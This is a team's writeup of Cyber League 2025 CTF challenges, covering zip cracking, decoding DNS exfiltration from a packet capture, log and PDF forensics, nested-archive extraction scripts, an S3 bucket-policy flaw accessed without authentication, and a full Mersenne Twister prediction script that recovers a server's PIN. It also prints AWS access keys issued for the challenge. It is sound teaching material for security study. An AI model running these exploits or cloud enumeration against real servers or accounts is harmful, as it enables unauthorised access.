Cyber League 2025 CTF Writeup: Crypto, Forensics, Cloud & More
Our Cyber League 2025 CTF writeup covers Crypto, Forensics, Cloud, and Misc challenges. Detailed solutions, insights, and lessons learned—this guide will level up your cybersecurity game!

' OR 1=1--
Cyber League 2025 was nothing short of shiok—a thrilling competition packed with brain-teasing challenges. My team and I, representing ' OR 1=1--
, had an unforgettable experience hacking through Crypto, Forensics, Cloud, and Misc categories. The organisers outdid themselves, delivering a well-structured event that kept us on our toes for 24 hours non-stop! Big shoutout to the Cyber League crew for their hard work and to my team members for the fantastic synergy we had during this competition.
For those following our writeup, whether you’re a fellow competitor or someone keen to learn, we’ve put together our solutions in a clear, easy-to-understand format. From cryptography puzzles that tested our algorithms to forensic investigations and cloud exploits, we’ve broken down each challenge and shared the thought process, tools, and scripts that helped us secure our spot on the leaderboard.
Forensics - Uncover Me
Cyberleague warm-up challenge

Really straightforward challenge, john
was able to crack the password protected zip file and retrieve the contents.
CYBERLEAGUE{Y0U_Fo|_|nD_3e!}
This methodology will be applied again at Matryoshka II
Forensics - Baby PCAP
Solver #10

def encrypt_decrypt(data, key="Sup3rS3cur3P@ssW0Rd!!!", encrypt=True):
key_length = len(key)
if isinstance(data, str):
data = data.encode()
result = bytes(b ^ ord(key[i % key_length]) for i, b in enumerate(data))
if encrypt:
return base64.b64encode(result).decode('utf-8')
else:
decoded_data = base64.b64decode(data)
decrypted_result = bytes(
b ^ ord(key[i % key_length]) for i, b in enumerate(decoded_data))
return decrypted_result.decode('utf-8', errors='ignore')
# Server Snippet
if qname.startswith("result."):
encrypted_result = (qname.split(
"result.", 1)[1]).split(".", 1)[0]
decrypted_result = encrypt_decrypt(
encrypted_result, encrypt=False)
print(f"Received result from client: {decrypted_result}")
interesting snippets
Looks like a Client-Server DNS communication script and is verified by the challenge's description

result
and chall123abcnotscam.com
We extracted this results into a .csv
and retrieved the encrypted string
grep -oP 'result\.\K[^.]+(?=\.chall123)' extracted.csv | sort | uniq
ECwydiAfdiIyJ3YrIhIRLm8lBVNMVCMqA0cdPVgQKkoKZCUZFT9DOAFEUFw=
fB0fXhd8RgEAHEcl
IRofRw==
NRkRVA==
And obviously we used Chatgpt to write a decode script:
import base64
def encrypt_decrypt(data, key="Sup3rS3cur3P@ssW0Rd!!!", encrypt=True):
key_length = len(key)
if isinstance(data, str):
data = data.encode()
result = bytes(b ^ ord(key[i % key_length]) for i, b in enumerate(data))
if encrypt:
return base64.b64encode(result).decode('utf-8')
else:
decoded_data = base64.b64decode(data)
decrypted_result = bytes(
b ^ ord(key[i % key_length]) for i, b in enumerate(decoded_data))
return decrypted_result.decode('utf-8', errors='ignore')
# List of Base64-encoded strings to decrypt
encoded_data = [
"ECwydiAfdiIyJ3YrIhIRLm8lBVNMVCMqA0cdPVgQKkoKZCUZFT9DOAFEUFw=",
"fB0fXhd8RgEAHEcl",
"IRofRw==",
"NRkRVA=="
]
# Decrypting the encoded strings
decrypted_data = [encrypt_decrypt(data, encrypt=False) for data in encoded_data]
# Print the decrypted results
for data in decrypted_data:
print(data)
Decoding Script
python dec.py
CYBERLEAGUE{baby_warmup_stonks_894ejfhsjeeq}
/home/ubuntu
root
flag
CYBERLEAGUE{baby_warmup_stonks_894ejfhsjeeq}
Flag
Miscellaneous - Log Analysis
Solver #11
198.78.236.24 - - [06/May/2020:05:17:51 -0400] "GET /wp-admin HTTP/1.0" 200 5009 "http://www.mckinney.biz/main.jsp" "Mozilla/5.0 (Windows NT 5.1; sl-SI; rv:1.9.2.20) Gecko/2016-04-29 00:34:19 Firefox/3.6.13"
25.100.9.125 - - [06/May/2020:05:22:02 -0400] "GET /supersecure/index.html HTTP/1.0" 301 5064 "http://williams.com/category/wp-content/post.php" "Mozilla/5.0 (Windows NT 5.01; en-US; rv:1.9.1.20) Gecko/2013-06-10 07:44:06 Firefox/3.8"
120.43.15.100 - - [06/May/2020:05:22:58 -0400] "DELETE /app/main/posts HTTP/1.0" 200 5089 "http://wilkinson.com/explore/wp-content/faq/" "Mozilla/5.0 (Windows 98; Win 9x 4.90) AppleWebKit/5312 (KHTML, like Gecko) Chrome/14.0.879.0 Safari/5312"
67.28.91.98 - - [06/May/2020:05:24:02 -0400] "POST /supersecure/search.jsp?f1a9=43 HTTP/1.0" 404 4984 "http://gilmore-cohen.com/main/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/5322 (KHTML, like Gecko) Chrome/14.0.808.0 Safari/5322"
Look at this snippet from .log
Looking at the snippet, we found a leet flag
string to /supersecure/
to search param f1a9=
(last line). Using grep, we extracted the parameter from the log file:
grep -oP '(?<=\?f1a9=)[0-9A-Fa-f]+' log_challenge.log
43
59
42
45
52
4c
45
41
47
55
45
7b
6c
30
67
73
5f
52
5f
62
30
52
69
4e
67
7d
Then using decode.fr, we can attempt to decode this to ASCII:

CYBERLEAGUE{l0gs_R_b0RiNg}
Flag
Miscellaneous - Pwn-Dis-File
Solver #71


flag.txt
, probably embedded in the pdf?We used pdfdetach
to extract files in the pdf
file:
pdfdetach -saveall Pwn-Dis-File.pdf
cat flag.txt
CYBERLEAGUE{hidden_in_plain_sight}
And the flag was retrieved!
CYBERLEAGUE{hidden_in_plain_sight}
Miscellaneous - Matryoshka
Solver #80
Time to put your programming skills to the test! Don't do it by hand (unless you like pain of course)!
Solved the challenge after watching this!
What we have to achieve would be to extract the compressed file given to us. binwalk -e
returns multiple compressed files and was not fun to work with. We then crafted a script to identify the file and extract the compressed file.
#!/bin/bash
file="matryoshka.txt"
rm -r tmp
mkdir tmp
cp $file tmp
cd tmp
while [ 1 ]; do
file $file
file $file | grep "bzip2"
if [ "$?" -eq "0" ]; then
echo "This is a BZIP!"
mv $file $file.bz2
bunzip2 $file.bz2
file=$(ls *)
fi
file $file | grep "Zip"
if [ "$?" -eq "0" ]; then
echo "This is a Zip!"
mv $file $file.zip
unzip $file.zip
rm $filename.zip
file=$(ls *)
fi
file $file | grep "gzip"
if [ "$?" -eq "0" ]; then
echo "This is a gzip!"
mv $file $file.gz
gzip -d $file.gz
file=$(ls *)
fi
file $file | grep "XZ"
if [ "$?" -eq "0" ]; then
echo "This is a XZ!"
mv $file $file.xz
xz -d $file.xz
file=$(ls *)
fi
file $file | grep "ASCII"
if [ "$?" -eq "0" ]; then
echo "This is a ASCII!"
mv $file $file.xz
xz -d $file.xz
file=$(ls *)
fi
done
Thanks to the Youtube Video, we got this script
Let the script run for abit and stop when file
returns an ASCII text, with no line terminators
result. Then go into the directory and view the file contents:
cat matryoshka.txt
CYBERLEAGUE{m0r3_c0mpr3ss_m0r3_b3tt3r3r}%
CYBERLEAGUE{m0r3_c0mpr3ss_m0r3_b3tt3r3r}
Flag
Miscellaneous - Matryoshka II
Solver #61
Time to put your programming skills to the test! Don't do it by hand (unless you like pain of course)!
Similar approach to Matryoshka
, this time we found out that the given file requires a password. And the password that is required is actually the filename in the zip file, shown in the image below.

kali
's gui to unzip with passwordWith this in mind, we could use a small script to unzip the zip files to get the flag. In this script, we used 7za
with the -aoa
flag to always replace the existing file since we found that files such as et
were frequently seen and caused some issues if we were to rename them.
#!/bin/bash
file="matryoshka2.zip"
rm -r tmp 2>/dev/null
mkdir tmp
cp "$file" tmp
cd tmp
while [ 1 ]; do
# Extract the pin from the zip file
pin=$(unzip -l "$file" | awk 'NR>3 {print $4}' | head -n -2)
# Extract the archive using the pin, silently handle name clashes by overwriting
7za x "$file" -p"$pin" -aoa
# Find the newly extracted file (exclude the old file)
new_file=$pin
# Check if a new file was found
if [ -z "$new_file" ]; then
echo "No new file extracted. Exiting..."
break
fi
# Update $file with the new file name
file="$new_file"
echo "Extracted new file: $file"
done
Finally, the script will error out at dolor
since it is an ASCII text file (containing the flag)

file dolor
dolor: ASCII text, with no line terminators
cat dolor
CYBERLEAGUE{m0r3_3ncryp7_m0r3_b3tt3r3r}%
CYBERLEAGUE{m0r3_3ncryp7_m0r3_b3tt3r3r}
flag
Cloud - Perfect Storage
Solver #40
aws_access_key_id = AKIAU24SYXUWGFF2Y2GS
aws_secret_access_key = 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
Given Credentials
aws configure
# Note: use ap-southeast-1
And so we begin enumeration!
aws iam get-user
{
"User": {
"Path": "/",
"UserName": "thisisauselessuserfortesting",
"UserId": "AIDAU24SYXUWN2LUCUCOK",
"Arn": "arn:aws:iam::332630900012:user/thisisauselessuserfortesting",
"CreateDate": "2025-01-11T12:53:37+00:00"
}
}
We first have to get the current user's information
With the user's information, we can enumerate for the account's policies with aws cli
aws iam list-attached-user-policies --user-name thisisauselessuserfortesting
{
"AttachedPolicies": [
{
"PolicyName": "hackerman101",
"PolicyArn": "arn:aws:iam::332630900012:policy/hackerman101"
},
{
"PolicyName": "AWSCompromisedKeyQuarantineV2",
"PolicyArn": "arn:aws:iam::aws:policy/AWSCompromisedKeyQuarantineV2"
}
]
}
We can see that there were 2 different attached policies for the user
aws iam get-policy --policy-arn arn:aws:iam::332630900012:policy/hackerman101
{
"Policy": {
"PolicyName": "hackerman101",
"PolicyId": "ANPAU24SYXUWDCOGSKOJ7",
"Arn": "arn:aws:iam::332630900012:policy/hackerman101",
"Path": "/",
"DefaultVersionId": "v2",
"AttachmentCount": 1,
"PermissionsBoundaryUsageCount": 0,
"IsAttachable": true,
"CreateDate": "2025-01-11T12:53:38+00:00",
"UpdateDate": "2025-01-11T12:56:47+00:00",
"Tags": []
}
}
We could get the details of this policy but not the one for AWSCompromisedKeyQuarantineV2
due to permissions
We could continue to enumerate the policies.
aws iam get-policy-version \
--policy-arn arn:aws:iam::332630900012:policy/hackerman101 \
--version-id v2
{
"PolicyVersion": {
"Document": {
"Statement": [
{
"Action": [
"iam:Get*",
"iam:List*"
],
"Effect": "Allow",
"Resource": [
"arn:aws:iam::332630900012:user/thisisauselessuserfortesting",
"arn:aws:iam::332630900012:policy/hackerman101"
]
},
{
"Action": [
"s3:GetBucket*"
],
"Effect": "Allow",
"Resource": [
"arn:aws:s3:::perfect-storage-7815696ecbf1c96"
]
}
],
"Version": "2012-10-17"
},
"VersionId": "v2",
"IsDefaultVersion": true,
"CreateDate": "2025-01-11T12:56:47+00:00"
}
}
The hackerman
policy revealed an S3 bucket resource
With the S3 resource name, we can perform further enumeration!
aws s3api get-bucket-acl --bucket perfect-storage-7815696ecbf1c96
{
"Owner": {
"DisplayName": "winston",
"ID": "540c5fd23ed6349d850fc5a6796b8fcccc2adc0c141d264d4baa1164e0976db2"
},
"Grants": [
{
"Grantee": {
"DisplayName": "winston",
"ID": "540c5fd23ed6349d850fc5a6796b8fcccc2adc0c141d264d4baa1164e0976db2",
"Type": "CanonicalUser"
},
"Permission": "FULL_CONTROL"
}
]
}
Very interesting Owner information
We could work out the bucket public link using this format:
http://<bucket_name>.<region>.amazonaws.com
And access the site through a browser

Notice that the bucket contained the flag.txt
. This was the bucket that we needed to work on (hopefully)
aws s3api get-bucket-policy --bucket perfect-storage-7815696ecbf1c96 | jq -r .Policy | jq .
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": "*",
"Action": [
"s3:ListBucket",
"s3:GetObject"
],
"Resource": [
"arn:aws:s3:::perfect-storage-7815696ecbf1c96/*",
"arn:aws:s3:::perfect-storage-7815696ecbf1c96"
],
"Condition": {
"ForAllValues:StringLike": {
"aws:PrincipalArn": "arn:aws:iam::666666666666:user/admin"
}
}
}
]
}
We then looked at the bucket policy
We were unable to further enumerate for methods of Privesc, so we performed an unauthenticated attack using curl to attempt to retrieve the flag:
curl http://perfect-storage-7815696ecbf1c96.s3.amazonaws.com/flag.txt
CYBERLEAGUE{null_is_true_huhhh???}
And we're done!
so we elevated our privilege from an employee to a user!
CYBERLEAGUE{null_is_true_huhhh???}
Flag
So why does this work? Upon researching about IAM's policy conditions, we saw this:

We could either pass in an empty PrincipleARN or probably just access it unauthenticated. So, either one of these would work:
aws s3 cp s3://perfect-storage-7815696ecbf1c96/flag.txt . --no-sign-request
curl http://perfect-storage-7815696ecbf1c96.s3.amazonaws.com/flag.txt
Cryptography - One Time Pin
Solver #54
To capture the flag in this challenge, we need to provide a hexadecimal input that matches the server's randomly generated hexadecimal value. This value is derived from a random number using Python's random.Random
library. However, the process is not truly random—it’s pseudorandom. The server regenerates a new random number whenever we provide the wrong input. The random number generator (RNG) relies on Python’s random module, which uses a pseudorandom number generator (PRNG) to produce a sequence of numbers that mimic the properties of randomness. A PRNG starts from an initial seed state, and the generated sequence is deterministic, meaning it can be reproduced if the seed is known. This makes the numbers predictable, despite appearing random, and the process is computationally efficient.
#!/usr/bin/env python3
import asyncio
import logging
import random
from pathlib import Path
logger = logging.basicConfig(level=logging.INFO)
HOST = "0.0.0.0"
PORT = 10008
FLAG = Path("flag.txt").read_bytes()
async def print_prompt(writer: asyncio.StreamWriter):
writer.writelines(
(
b"Welcome Admin!\n",
b"Please enter your 8-char one time pin to continue [00000000 - ffffffff]:",
)
)
await writer.drain()
async def read_pin(reader: asyncio.StreamReader, writer: asyncio.StreamWriter):
while not (line := await reader.readline()):
writer.write(b"Please enter a valid PIN\n")
await writer.drain()
return int(line.rstrip(), base=16)
async def handler(reader: asyncio.StreamReader, writer: asyncio.StreamWriter):
client_ip, client_port = reader._transport.get_extra_info("peername")
logging.info(f"New connection from: {client_ip}:{client_port}")
rand = random.Random()
try:
while True:
await print_prompt(writer)
pin = await read_pin(reader, writer)
num = rand.randrange(2**32 - 1)
if pin != num:
delta = abs(pin - num)
writer.write(f"Error {hex(delta)}: Incorrect PIN.".encode())
else:
writer.write(b"Well done! Here is your flag: " + FLAG)
break
await writer.drain()
except Exception as e:
writer.write(f"Unexpected PIN provided. {e}".encode())
await writer.drain()
finally:
writer.write_eof()
writer.close()
async def main(host, port):
srv = await asyncio.start_server(handler, host, port)
await srv.serve_forever()
if __name__ == "__main__":
asyncio.run(main(HOST, PORT))
app.py (Server)
To predict the server's randomly generated number, we first need to collect 624 samples of the server’s output. This is achieved by repeatedly sending the input "00000000"
to the server and capturing the difference (delta) between the generated number and our input, extracted from the server’s response. Each delta value, converted from hexadecimal to its numerical representation, corresponds to the server’s pseudorandomly generated number.
After collecting all 624 samples, we use the MT19937Predictor
library to reconstruct the internal state of the Mersenne Twister pseudorandom number generator (PRNG) used by the server. By feeding these samples into the predictor, we enable it to predict the next number in the PRNG sequence. Using this predicted value, we can send the correct PIN to the server and retrieve the flag.
#!/usr/bin/env python3
import socket
import re
import sys
import time
from mt19937predictor import MT19937Predictor
SERVER_IP = "127.0.0.1" # Replace with the actual server IP
SERVER_PORT = 10008 # Replace with the actual server port
TOTAL_SAMPLE = 625 # 624 + 1, catering for loop
# The exact prompt string (as bytes) that we wait for.
PROMPT = b"Please enter your 8-char one time pin to continue [00000000 - ffffffff]:"
SUCCESS_PROMPT = b"flag:"
HEX_RE = re.compile(rb"Error 0x([0-9a-fA-F]+): Incorrect PIN")
def read_until(sock, target, timeout=0.1):
"""
Read data from the socket until the target bytes are seen or until timeout.
Returns all data read.
"""
sock.settimeout(timeout)
data = b""
start = time.time()
while True:
try:
chunk = sock.recv(4096)
except socket.timeout:
break # timed out; return what we have so far.
if not chunk:
break # connection closed
data += chunk
if target in data:
break
# Just in case we get stuck, check the elapsed time.
if time.time() - start > timeout:
break
return data
def read_all(sock, timeout=10.1):
"""
Read all available data from the socket until there's no more data
or until `timeout` seconds pass without new data.
"""
sock.settimeout(timeout)
data = b""
while True:
try:
chunk = sock.recv(4096)
if not chunk:
# Connection closed
break
data += chunk
except socket.timeout:
# No more data within the timeout window
break
return data
def collect_samples(sock):
"""
Collect 624 delta samples from the server.
"""
samples = []
for i in range(TOTAL_SAMPLE):
# Send "00000000" to the server
sock.sendall(b"00000000\n")
# Read all responses
data = read_all(sock, timeout=0.1)
# Extract delta value
if b"Error 0x" in data:
try:
delta = extract_hex_value(data)
samples.append(delta)
print(f"[{i}] Captured delta: {delta}")
except ValueError as e:
print(f"Failed to parse delta at iteration {i}: {e}")
continue
# Check for the prompt
if PROMPT not in data:
print(f"Unexpected server response at iteration {i}: {data.decode(errors='replace')}")
continue
if len(samples) != TOTAL_SAMPLE:
raise RuntimeError(f"Only collected {len(samples)} samples, but expected {TOTAL_SAMPLE}.")
return samples
def predict_next_number(samples):
"""
Use the captured samples to predict the next random number.
"""
predictor = MT19937Predictor()
for sample in samples:
predictor.setrandbits(sample, 32)
return predictor
def try_predictions(sock, predictor, max_attempts=5):
"""
Attempt multiple predictions to handle potential misalignments.
"""
for attempt in range(max_attempts):
next_num = predictor.getrandbits(32)
pin_to_send = f"{next_num:08x}\n"
print(f"Trying predicted PIN (attempt {attempt + 1}): {pin_to_send.strip()}")
sock.sendall(pin_to_send.encode())
# Read the server's response
response = read_all(sock, timeout=5.0)
print(f"Server response:\n{response.decode(errors='replace')}")
if SUCCESS_PROMPT in response:
print("Successfully retrieved the flag!")
return True
print("All prediction attempts failed. PRNG state might be misaligned.")
return False
def extract_hex_value(data: bytes) -> int:
"""
Given a bytes object containing an error response like:
"Error 0x1fe460f6: Incorrect PIN.Welcome Admin!"
extract the hex value and return it as an integer.
"""
match = HEX_RE.search(data)
if not match:
raise ValueError("Could not locate the error hex in:\n" + data.decode(errors="replace"))
hex_str = match.group(1).decode()
return int(hex_str, 16)
def main():
samples = []
predictor = MT19937Predictor()
samples = []
try:
sock = socket.create_connection((SERVER_IP, SERVER_PORT))
# Step 1: Collect samples
print("Collecting samples...")
samples = collect_samples(sock)
# Step 2: Recover PRNG state
print("Recovering PRNG state...")
predictor = predict_next_number(samples)
# Step 3: Attempt predictions
print("Predicting the next random number and sending PIN...")
success = try_predictions(sock, predictor)
if not success:
print("Failed to retrieve the flag. Check alignment or server logic.")
except Exception as e:
print(f"An error occurred: {e}")
finally:
print("Closing connection.")
sock.close()
if __name__ == "__main__":
main()

CYBERLEAGUE{r@nd0m_15_d3t3rmIn1St1c}
Flag
Final Scores



Wrapping up, Cyber League 2025 was a blast, and we're already looking forward to next year’s showdown. This CTF not only pushed our technical skills to the next level but also reminded us why we love cybersecurity—every challenge is a puzzle waiting to be cracked, and every solution is a step closer to mastery.
Kudos to the organisers once again for such a well-executed event. To those reading this, feel free to reach out if you have questions about our solutions or want to exchange ideas. Let’s keep the learning going!
Until next time—stay curious, stay sharp, and hack responsibly. See you at the next Cyber League!
Comments ()